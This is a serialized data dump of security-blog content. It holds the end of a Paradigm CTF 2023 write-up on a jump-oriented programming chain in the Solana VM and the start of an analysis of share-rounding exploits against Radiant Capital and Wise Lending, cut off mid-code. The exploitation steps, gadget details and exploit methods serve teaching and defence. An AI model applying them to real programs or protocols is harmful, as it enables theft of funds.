6371,46375,46379,46383,46387,46391,46396,46400,46405],{"type":24,"tag":158,"props":46362,"children":46363},{"style":177},[46364],{"type":29,"value":46365},"100001c50",{"type":24,"tag":158,"props":46367,"children":46368},{"style":177},[46369],{"type":29,"value":46370}," 79a1c8ff00000000",{"type":24,"tag":158,"props":46372,"children":46373},{"style":177},[46374],{"type":29,"value":45395},{"type":24,"tag":158,"props":46376,"children":46377},{"style":177},[46378],{"type":29,"value":45689},{"type":24,"tag":158,"props":46380,"children":46381},{"style":188},[46382],{"type":29,"value":45405},{"type":24,"tag":158,"props":46384,"children":46385},{"style":177},[46386],{"type":29,"value":45410},{"type":24,"tag":158,"props":46388,"children":46389},{"style":222},[46390],{"type":29,"value":5987},{"type":24,"tag":158,"props":46392,"children":46393},{"style":465},[46394],{"type":29,"value":46395},"56",{"type":24,"tag":158,"props":46397,"children":46398},{"style":188},[46399],{"type":29,"value":45424},{"type":24,"tag":158,"props":46401,"children":46402},{"style":177},[46403],{"type":29,"value":46404},"var_38",{"type":24,"tag":158,"props":46406,"children":46407},{"style":188},[46408],{"type":29,"value":307},{"type":24,"tag":158,"props":46410,"children":46411},{"class":160,"line":10801},[46412,46417,46421,46425,46429,46433],{"type":24,"tag":158,"props":46413,"children":46414},{"style":177},[46415],{"type":29,"value":46416},"100001c58",{"type":24,"tag":158,"props":46418,"children":46419},{"style":177},[46420],{"type":29,"value":46208},{"type":24,"tag":158,"props":46422,"children":46423},{"style":177},[46424],{"type":29,"value":45684},{"type":24,"tag":158,"props":46426,"children":46427},{"style":177},[46428],{"type":29,"value":45455},{"type":24,"tag":158,"props":46430,"children":46431},{"style":188},[46432],{"type":29,"value":191},{"type":24,"tag":158,"props":46434,"children":46435},{"style":465},[46436],{"type":29,"value":46225},{"type":24,"tag":158,"props":46438,"children":46439},{"class":160,"line":24754},[46440,46445,46450,46454],{"type":24,"tag":158,"props":46441,"children":46442},{"style":177},[46443],{"type":29,"value":46444},"100001c60",{"type":24,"tag":158,"props":46446,"children":46447},{"style":177},[46448],{"type":29,"value":46449}," 85100000fefdffff",{"type":24,"tag":158,"props":46451,"children":46452},{"style":177},[46453],{"type":29,"value":45606},{"type":24,"tag":158,"props":46455,"children":46456},{"style":177},[46457],{"type":29,"value":46247},{"type":24,"tag":158,"props":46459,"children":46460},{"class":160,"line":24789},[46461],{"type":24,"tag":158,"props":46462,"children":46463},{"emptyLinePlaceholder":16},[46464],{"type":29,"value":481},{"type":24,"tag":158,"props":46466,"children":46467},{"class":160,"line":24797},[46468,46473,46478,46483,46488,46493],{"type":24,"tag":158,"props":46469,"children":46470},{"style":177},[46471],{"type":29,"value":46472},"100001c68",{"type":24,"tag":158,"props":46474,"children":46475},{"style":465},[46476],{"type":29,"value":46477}," 9500000000000000",{"type":24,"tag":158,"props":46479,"children":46480},{"style":177},[46481],{"type":29,"value":46482}," exit",{"type":24,"tag":158,"props":46484,"children":46485},{"style":188},[46486],{"type":29,"value":46487}," {",{"type":24,"tag":158,"props":46489,"children":46490},{"style":177},[46491],{"type":29,"value":46492},"__return_addr",{"type":24,"tag":158,"props":46494,"children":46495},{"style":188},[46496],{"type":29,"value":307},{"type":24,"tag":25,"props":46498,"children":46499},{},[46500,46502,46508],{"type":29,"value":46501},"Which, assuming that ",{"type":24,"tag":154,"props":46503,"children":46505},{"className":46504},[],[46506],{"type":29,"value":46507},"sol_invoke_signed_rust",{"type":29,"value":46509}," returns 0, is doing the following:",{"type":24,"tag":1786,"props":46511,"children":46512},{},[46513,46522,46531],{"type":24,"tag":1790,"props":46514,"children":46515},{},[46516],{"type":24,"tag":154,"props":46517,"children":46519},{"className":46518},[],[46520],{"type":29,"value":46521},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":1790,"props":46523,"children":46524},{},[46525],{"type":24,"tag":154,"props":46526,"children":46528},{"className":46527},[],[46529],{"type":29,"value":46530},"*[r10-120] = 0x18",{"type":24,"tag":1790,"props":46532,"children":46533},{},[46534,46536,46542,46544,46551],{"type":29,"value":46535},"Calls ",{"type":24,"tag":154,"props":46537,"children":46539},{"className":46538},[],[46540],{"type":29,"value":46541},"__rust_dealloc",{"type":29,"value":46543},", which in default circumstances is a ",{"type":24,"tag":101,"props":46545,"children":46548},{"href":46546,"rel":46547},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[105],[46549],{"type":29,"value":46550},"NOP",{"type":29,"value":347},{"type":24,"tag":25,"props":46553,"children":46554},{},[46555],{"type":29,"value":46556},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":25,"props":46558,"children":46559},{},[46560],{"type":29,"value":46561},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":25,"props":46563,"children":46564},{},[46565,46567,46574],{"type":29,"value":46566},"Looking at the ",{"type":24,"tag":101,"props":46568,"children":46571},{"href":46569,"rel":46570},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[105],[46572],{"type":29,"value":46573},"definition",{"type":29,"value":46575},", it's not crystal clear what the parameters are:",{"type":24,"tag":147,"props":46577,"children":46579},{"className":151,"code":46578,"language":150,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[46580],{"type":24,"tag":154,"props":46581,"children":46582},{"__ignoreMap":7},[46583],{"type":24,"tag":158,"props":46584,"children":46585},{"class":160,"line":161},[46586,46590,46595,46599,46604,46608,46612,46616,46620,46624,46629,46633,46637,46641,46645,46649,46654,46658,46662,46666,46671,46675,46679,46683,46687,46691,46696,46700,46704,46708,46712],{"type":24,"tag":158,"props":46587,"children":46588},{"style":165},[46589],{"type":29,"value":21510},{"type":24,"tag":158,"props":46591,"children":46592},{"style":496},[46593],{"type":29,"value":46594}," sol_invoke_signed_rust",{"type":24,"tag":158,"props":46596,"children":46597},{"style":188},[46598],{"type":29,"value":504},{"type":24,"tag":158,"props":46600,"children":46601},{"style":177},[46602],{"type":29,"value":46603},"instruction_addr",{"type":24,"tag":158,"props":46605,"children":46606},{"style":222},[46607],{"type":29,"value":225},{"type":24,"tag":158,"props":46609,"children":46610},{"style":222},[46611],{"type":29,"value":615},{"type":24,"tag":158,"props":46613,"children":46614},{"style":165},[46615],{"type":29,"value":443},{"type":24,"tag":158,"props":46617,"children":46618},{"style":171},[46619],{"type":29,"value":15868},{"type":24,"tag":158,"props":46621,"children":46622},{"style":188},[46623],{"type":29,"value":191},{"type":24,"tag":158,"props":46625,"children":46626},{"style":177},[46627],{"type":29,"value":46628},"account_infos_addr",{"type":24,"tag":158,"props":46630,"children":46631},{"style":222},[46632],{"type":29,"value":225},{"type":24,"tag":158,"props":46634,"children":46635},{"style":222},[46636],{"type":29,"value":615},{"type":24,"tag":158,"props":46638,"children":46639},{"style":165},[46640],{"type":29,"value":443},{"type":24,"tag":158,"props":46642,"children":46643},{"style":171},[46644],{"type":29,"value":15868},{"type":24,"tag":158,"props":46646,"children":46647},{"style":188},[46648],{"type":29,"value":191},{"type":24,"tag":158,"props":46650,"children":46651},{"style":177},[46652],{"type":29,"value":46653},"account_infos_len",{"type":24,"tag":158,"props":46655,"children":46656},{"style":222},[46657],{"type":29,"value":225},{"type":24,"tag":158,"props":46659,"children":46660},{"style":171},[46661],{"type":29,"value":230},{"type":24,"tag":158,"props":46663,"children":46664},{"style":188},[46665],{"type":29,"value":191},{"type":24,"tag":158,"props":46667,"children":46668},{"style":177},[46669],{"type":29,"value":46670},"signers_seeds_addr",{"type":24,"tag":158,"props":46672,"children":46673},{"style":222},[46674],{"type":29,"value":225},{"type":24,"tag":158,"props":46676,"children":46677},{"style":222},[46678],{"type":29,"value":615},{"type":24,"tag":158,"props":46680,"children":46681},{"style":165},[46682],{"type":29,"value":443},{"type":24,"tag":158,"props":46684,"children":46685},{"style":171},[46686],{"type":29,"value":15868},{"type":24,"tag":158,"props":46688,"children":46689},{"style":188},[46690],{"type":29,"value":191},{"type":24,"tag":158,"props":46692,"children":46693},{"style":177},[46694],{"type":29,"value":46695},"signers_seeds_len",{"type":24,"tag":158,"props":46697,"children":46698},{"style":222},[46699],{"type":29,"value":225},{"type":24,"tag":158,"props":46701,"children":46702},{"style":171},[46703],{"type":29,"value":230},{"type":24,"tag":158,"props":46705,"children":46706},{"style":188},[46707],{"type":29,"value":723},{"type":24,"tag":158,"props":46709,"children":46710},{"style":222},[46711],{"type":29,"value":14991},{"type":24,"tag":158,"props":46713,"children":46714},{"style":171},[46715],{"type":29,"value":4091},{"type":24,"tag":25,"props":46717,"children":46718},{},[46719,46721,46726,46728,46735],{"type":29,"value":46720},"The source of ",{"type":24,"tag":101,"props":46722,"children":46724},{"href":46723},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[46725],{"type":29,"value":45336},{"type":29,"value":46727}," helps a lot, but looking at the actual ",{"type":24,"tag":101,"props":46729,"children":46732},{"href":46730,"rel":46731},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[105],[46733],{"type":29,"value":46734},"implementation",{"type":29,"value":46736}," provides more clarity:",{"type":24,"tag":17924,"props":46738,"children":46739},{},[46740],{"type":24,"tag":1790,"props":46741,"children":46742},{},[46743,46748,46750,46757],{"type":24,"tag":154,"props":46744,"children":46746},{"className":46745},[],[46747],{"type":29,"value":46603},{"type":29,"value":46749}," points to a ",{"type":24,"tag":101,"props":46751,"children":46754},{"href":46752,"rel":46753},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[105],[46755],{"type":29,"value":46756},"StableInstruction",{"type":29,"value":225},{"type":24,"tag":25,"props":46759,"children":46760},{},[46761],{"type":24,"tag":84,"props":46762,"children":46764},{"alt":46756,"src":46763},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":17924,"props":46766,"children":46767},{},[46768,46793],{"type":24,"tag":1790,"props":46769,"children":46770},{},[46771,46776,46778,46783,46785,46792],{"type":24,"tag":154,"props":46772,"children":46774},{"className":46773},[],[46775],{"type":29,"value":46628},{"type":29,"value":46777}," points to a slice of ",{"type":24,"tag":154,"props":46779,"children":46781},{"className":46780},[],[46782],{"type":29,"value":46653},{"type":29,"value":46784}," ",{"type":24,"tag":101,"props":46786,"children":46789},{"href":46787,"rel":46788},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[105],[46790],{"type":29,"value":46791},"AccountInfos",{"type":29,"value":347},{"type":24,"tag":1790,"props":46794,"children":46795},{},[46796,46801,46803,46808,46810,46815],{"type":24,"tag":154,"props":46797,"children":46799},{"className":46798},[],[46800],{"type":29,"value":46670},{"type":29,"value":46802}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":154,"props":46804,"children":46806},{"className":46805},[],[46807],{"type":29,"value":46695},{"type":29,"value":46809},", containing slices of ",{"type":24,"tag":154,"props":46811,"children":46813},{"className":46812},[],[46814],{"type":29,"value":5082},{"type":29,"value":347},{"type":24,"tag":25,"props":46817,"children":46818},{},[46819],{"type":24,"tag":84,"props":46820,"children":46823},{"alt":46821,"src":46822},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":25,"props":46825,"children":46826},{},[46827,46829,46834],{"type":29,"value":46828},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":32,"props":46830,"children":46831},{},[46832],{"type":29,"value":46833},"future call frames",{"type":29,"value":347},{"type":24,"tag":25,"props":46836,"children":46837},{},[46838,46840,46847],{"type":29,"value":46839},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":101,"props":46841,"children":46844},{"href":46842,"rel":46843},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[105],[46845],{"type":29,"value":46846},"reference solution can be found here",{"type":29,"value":347},{"type":24,"tag":25,"props":46849,"children":46850},{},[46851],{"type":29,"value":46852},"Here's a visualization of the final JOP chain.",{"type":24,"tag":147,"props":46854,"children":46856},{"className":45218,"code":46855,"language":45220,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[46857],{"type":24,"tag":154,"props":46858,"children":46859},{"__ignoreMap":7},[46860,46868,46875,46882,46890,46897,46905,46913,46921,46929,46937,46945,46953,46961,46969],{"type":24,"tag":158,"props":46861,"children":46862},{"class":160,"line":161},[46863],{"type":24,"tag":158,"props":46864,"children":46865},{},[46866],{"type":29,"value":46867},"graph BT\n",{"type":24,"tag":158,"props":46869,"children":46870},{"class":160,"line":213},[46871],{"type":24,"tag":158,"props":46872,"children":46873},{},[46874],{"type":29,"value":45240},{"type":24,"tag":158,"props":46876,"children":46877},{"class":160,"line":238},[46878],{"type":24,"tag":158,"props":46879,"children":46880},{},[46881],{"type":29,"value":45248},{"type":24,"tag":158,"props":46883,"children":46884},{"class":160,"line":259},[46885],{"type":24,"tag":158,"props":46886,"children":46887},{},[46888],{"type":29,"value":46889}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":158,"props":46891,"children":46892},{"class":160,"line":280},[46893],{"type":24,"tag":158,"props":46894,"children":46895},{},[46896],{"type":29,"value":45264},{"type":24,"tag":158,"props":46898,"children":46899},{"class":160,"line":301},[46900],{"type":24,"tag":158,"props":46901,"children":46902},{},[46903],{"type":29,"value":46904}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":158,"props":46906,"children":46907},{"class":160,"line":626},[46908],{"type":24,"tag":158,"props":46909,"children":46910},{},[46911],{"type":29,"value":46912}," E --> G[4: process]\n",{"type":24,"tag":158,"props":46914,"children":46915},{"class":160,"line":668},[46916],{"type":24,"tag":158,"props":46917,"children":46918},{},[46919],{"type":29,"value":46920}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":158,"props":46922,"children":46923},{"class":160,"line":676},[46924],{"type":24,"tag":158,"props":46925,"children":46926},{},[46927],{"type":29,"value":46928}," G --> I[5: process]\n",{"type":24,"tag":158,"props":46930,"children":46931},{"class":160,"line":684},[46932],{"type":24,"tag":158,"props":46933,"children":46934},{},[46935],{"type":29,"value":46936}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":158,"props":46938,"children":46939},{"class":160,"line":700},[46940],{"type":24,"tag":158,"props":46941,"children":46942},{},[46943],{"type":29,"value":46944}," I --> K[6: process]\n",{"type":24,"tag":158,"props":46946,"children":46947},{"class":160,"line":785},[46948],{"type":24,"tag":158,"props":46949,"children":46950},{},[46951],{"type":29,"value":46952}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":158,"props":46954,"children":46955},{"class":160,"line":1447},[46956],{"type":24,"tag":158,"props":46957,"children":46958},{},[46959],{"type":29,"value":46960}," K --> N[7: process]\n",{"type":24,"tag":158,"props":46962,"children":46963},{"class":160,"line":1509},[46964],{"type":24,"tag":158,"props":46965,"children":46966},{},[46967],{"type":29,"value":46968}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":158,"props":46970,"children":46971},{"class":160,"line":1527},[46972],{"type":24,"tag":158,"props":46973,"children":46974},{},[46975],{"type":29,"value":46976}," N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":25,"props":46978,"children":46979},{},[46980,46982,46988],{"type":29,"value":46981},"Small note: ",{"type":24,"tag":154,"props":46983,"children":46985},{"className":46984},[],[46986],{"type":29,"value":46987},"target_r10",{"type":29,"value":46989}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":147,"props":46991,"children":46993},{"className":151,"code":46992,"language":150,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[46994],{"type":24,"tag":154,"props":46995,"children":46996},{"__ignoreMap":7},[46997,47042,47077,47084],{"type":24,"tag":158,"props":46998,"children":46999},{"class":160,"line":161},[47000,47004,47009,47013,47018,47022,47026,47030,47034,47038],{"type":24,"tag":158,"props":47001,"children":47002},{"style":165},[47003],{"type":29,"value":21510},{"type":24,"tag":158,"props":47005,"children":47006},{"style":496},[47007],{"type":29,"value":47008}," call_frame_addr",{"type":24,"tag":158,"props":47010,"children":47011},{"style":188},[47012],{"type":29,"value":504},{"type":24,"tag":158,"props":47014,"children":47015},{"style":177},[47016],{"type":29,"value":47017},"depth",{"type":24,"tag":158,"props":47019,"children":47020},{"style":222},[47021],{"type":29,"value":225},{"type":24,"tag":158,"props":47023,"children":47024},{"style":171},[47025],{"type":29,"value":230},{"type":24,"tag":158,"props":47027,"children":47028},{"style":188},[47029],{"type":29,"value":723},{"type":24,"tag":158,"props":47031,"children":47032},{"style":222},[47033],{"type":29,"value":14991},{"type":24,"tag":158,"props":47035,"children":47036},{"style":171},[47037],{"type":29,"value":230},{"type":24,"tag":158,"props":47039,"children":47040},{"style":188},[47041],{"type":29,"value":210},{"type":24,"tag":158,"props":47043,"children":47044},{"class":160,"line":213},[47045,47050,47054,47059,47063,47068,47072],{"type":24,"tag":158,"props":47046,"children":47047},{"style":465},[47048],{"type":29,"value":47049}," 0x200000000",{"type":24,"tag":158,"props":47051,"children":47052},{"style":222},[47053],{"type":29,"value":2308},{"type":24,"tag":158,"props":47055,"children":47056},{"style":465},[47057],{"type":29,"value":47058}," 0x2000",{"type":24,"tag":158,"props":47060,"children":47061},{"style":222},[47062],{"type":29,"value":615},{"type":24,"tag":158,"props":47064,"children":47065},{"style":177},[47066],{"type":29,"value":47067}," depth",{"type":24,"tag":158,"props":47069,"children":47070},{"style":222},[47071],{"type":29,"value":2308},{"type":24,"tag":158,"props":47073,"children":47074},{"style":465},[47075],{"type":29,"value":47076}," 0x1000\n",{"type":24,"tag":158,"props":47078,"children":47079},{"class":160,"line":238},[47080],{"type":24,"tag":158,"props":47081,"children":47082},{"style":188},[47083],{"type":29,"value":307},{"type":24,"tag":158,"props":47085,"children":47086},{"class":160,"line":259},[47087],{"type":24,"tag":158,"props":47088,"children":47089},{"style":2588},[47090],{"type":29,"value":47091},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":59,"props":47093,"children":47094},{"id":30191},[47095],{"type":29,"value":20189},{"type":24,"tag":25,"props":47097,"children":47098},{},[47099,47101,47108],{"type":29,"value":47100},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":101,"props":47102,"children":47105},{"href":47103,"rel":47104},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[105],[47106],{"type":29,"value":47107},"they do exist",{"type":29,"value":347},{"type":24,"tag":25,"props":47110,"children":47111},{},[47112],{"type":29,"value":47113},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":25,"props":47115,"children":47116},{},[47117,47119,47124],{"type":29,"value":47118},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":32,"props":47120,"children":47121},{},[47122],{"type":29,"value":47123},"entire",{"type":29,"value":47125}," runtime.",{"type":24,"tag":4517,"props":47127,"children":47128},{},[47129],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":47131},[47132,47136,47137,47140],{"id":20198,"depth":213,"text":20201,"children":47133},[47134,47135],{"id":41806,"depth":238,"text":41809},{"id":43125,"depth":238,"text":43128},{"id":44364,"depth":213,"text":44367},{"id":45200,"depth":213,"text":45203,"children":47138},[47139],{"id":45314,"depth":238,"text":45317},{"id":30191,"depth":213,"text":20189},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":47145,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47146,"description":47147,"author":47148,"image":47149,"date":47151,"isFeatured":16,"onBlogPage":16,"body":47152,"_type":4536,"_id":48298,"_source":4538,"_file":48299,"_stem":48300,"_extension":4541},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[10],{"src":47150},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":47153,"toc":48287},[47154,47158,47186,47191,47204,47209,47215,47220,47225,47230,47235,47248,47260,47280,47300,47305,47310,47328,47334,47339,47345,47359,47372,47377,47383,47397,47402,47424,47657,47662,47667,47680,47920,47930,47935,47941,47946,47951,47984,47989,48000,48006,48011,48025,48153,48167,48243,48248,48259,48264,48269,48273,48278,48283],{"type":24,"tag":59,"props":47155,"children":47156},{"id":30274},[47157],{"type":29,"value":30277},{"type":24,"tag":25,"props":47159,"children":47160},{},[47161,47163,47170,47171,47178,47180,47185],{"type":29,"value":47162},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":101,"props":47164,"children":47167},{"href":47165,"rel":47166},"https://neodyme.io/de/blog/lending_disclosure",[105],[47168],{"type":29,"value":47169},"fast",{"type":29,"value":191},{"type":24,"tag":101,"props":47172,"children":47175},{"href":47173,"rel":47174},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[105],[47176],{"type":29,"value":47177},"cheap",{"type":29,"value":47179}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":32,"props":47181,"children":47182},{},[47183],{"type":29,"value":47184},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":347},{"type":24,"tag":25,"props":47187,"children":47188},{},[47189],{"type":29,"value":47190},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":1786,"props":47192,"children":47193},{},[47194,47199],{"type":24,"tag":1790,"props":47195,"children":47196},{},[47197],{"type":29,"value":47198},"Inflate share value (token to share conversion rate)",{"type":24,"tag":1790,"props":47200,"children":47201},{},[47202],{"type":29,"value":47203},"Exploit rounding bug",{"type":24,"tag":25,"props":47205,"children":47206},{},[47207],{"type":29,"value":47208},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":59,"props":47210,"children":47212},{"id":47211},"model",[47213],{"type":29,"value":47214},"Model",{"type":24,"tag":25,"props":47216,"children":47217},{},[47218],{"type":29,"value":47219},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":25,"props":47221,"children":47222},{},[47223],{"type":29,"value":47224},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":25,"props":47226,"children":47227},{},[47228],{"type":29,"value":47229},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":25,"props":47231,"children":47232},{},[47233],{"type":29,"value":47234},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":25,"props":47236,"children":47237},{},[47238,47240,47246],{"type":29,"value":47239},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":154,"props":47241,"children":47243},{"className":47242},[],[47244],{"type":29,"value":47245},"1000:1000",{"type":29,"value":47247}," (1000 tokens to 1000 shares).",{"type":24,"tag":25,"props":47249,"children":47250},{},[47251,47253,47259],{"type":29,"value":47252},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":154,"props":47254,"children":47256},{"className":47255},[],[47257],{"type":29,"value":47258},"1001:1000",{"type":29,"value":347},{"type":24,"tag":25,"props":47261,"children":47262},{},[47263,47265,47271,47273,47278],{"type":29,"value":47264},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":154,"props":47266,"children":47268},{"className":47267},[],[47269],{"type":29,"value":47270},"1001/1000*999 = 999.999",{"type":29,"value":47272},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":32,"props":47274,"children":47275},{},[47276],{"type":29,"value":47277},"down",{"type":29,"value":47279}," against the user.",{"type":24,"tag":25,"props":47281,"children":47282},{},[47283,47285,47291,47293,47299],{"type":29,"value":47284},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":154,"props":47286,"children":47288},{"className":47287},[],[47289],{"type":29,"value":47290},"2:1",{"type":29,"value":47292},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":154,"props":47294,"children":47296},{"className":47295},[],[47297],{"type":29,"value":47298},"3:1",{"type":29,"value":347},{"type":24,"tag":25,"props":47301,"children":47302},{},[47303],{"type":29,"value":47304},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":25,"props":47306,"children":47307},{},[47308],{"type":29,"value":47309},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":1786,"props":47311,"children":47312},{},[47313,47318,47323],{"type":24,"tag":1790,"props":47314,"children":47315},{},[47316],{"type":29,"value":47317},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":24,"tag":1790,"props":47319,"children":47320},{},[47321],{"type":29,"value":47322},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":1790,"props":47324,"children":47325},{},[47326],{"type":29,"value":47327},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":59,"props":47329,"children":47331},{"id":47330},"decisions",[47332],{"type":29,"value":47333},"Decisions",{"type":24,"tag":25,"props":47335,"children":47336},{},[47337],{"type":29,"value":47338},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":395,"props":47340,"children":47342},{"id":47341},"radiant-capital",[47343],{"type":29,"value":47344},"Radiant Capital",{"type":24,"tag":25,"props":47346,"children":47347},{},[47348,47350,47357],{"type":29,"value":47349},"Radiant Capital was ",{"type":24,"tag":101,"props":47351,"children":47354},{"href":47352,"rel":47353},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[105],[47355],{"type":29,"value":47356},"hacked on Jan 2nd",{"type":29,"value":47358}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":25,"props":47360,"children":47361},{},[47362,47364,47371],{"type":29,"value":47363},"The exploit is relatively straightforward and ",{"type":24,"tag":101,"props":47365,"children":47368},{"href":47366,"rel":47367},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[105],[47369],{"type":29,"value":47370},"has already been covered previously",{"type":29,"value":347},{"type":24,"tag":25,"props":47373,"children":47374},{},[47375],{"type":29,"value":47376},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":395,"props":47378,"children":47380},{"id":47379},"wise-lending",[47381],{"type":29,"value":47382},"Wise Lending",{"type":24,"tag":25,"props":47384,"children":47385},{},[47386,47388,47395],{"type":29,"value":47387},"Wise Lending was ",{"type":24,"tag":101,"props":47389,"children":47392},{"href":47390,"rel":47391},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[105],[47393],{"type":29,"value":47394},"hacked on January 13th",{"type":29,"value":47396}," for just under $460,000.",{"type":24,"tag":25,"props":47398,"children":47399},{},[47400],{"type":29,"value":47401},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":25,"props":47403,"children":47404},{},[47405,47407,47414,47416,47423],{"type":29,"value":47406},"This is ",{"type":24,"tag":101,"props":47408,"children":47411},{"href":47409,"rel":47410},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[105],[47412],{"type":29,"value":47413},"the code responsible",{"type":29,"value":47415}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":101,"props":47417,"children":47420},{"href":47418,"rel":47419},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[105],[47421],{"type":29,"value":47422},"no way to atomically self-bankrupt",{"type":29,"value":347},{"type":24,"tag":147,"props":47425,"children":47427},{"className":6134,"code":47426,"language":6133,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert 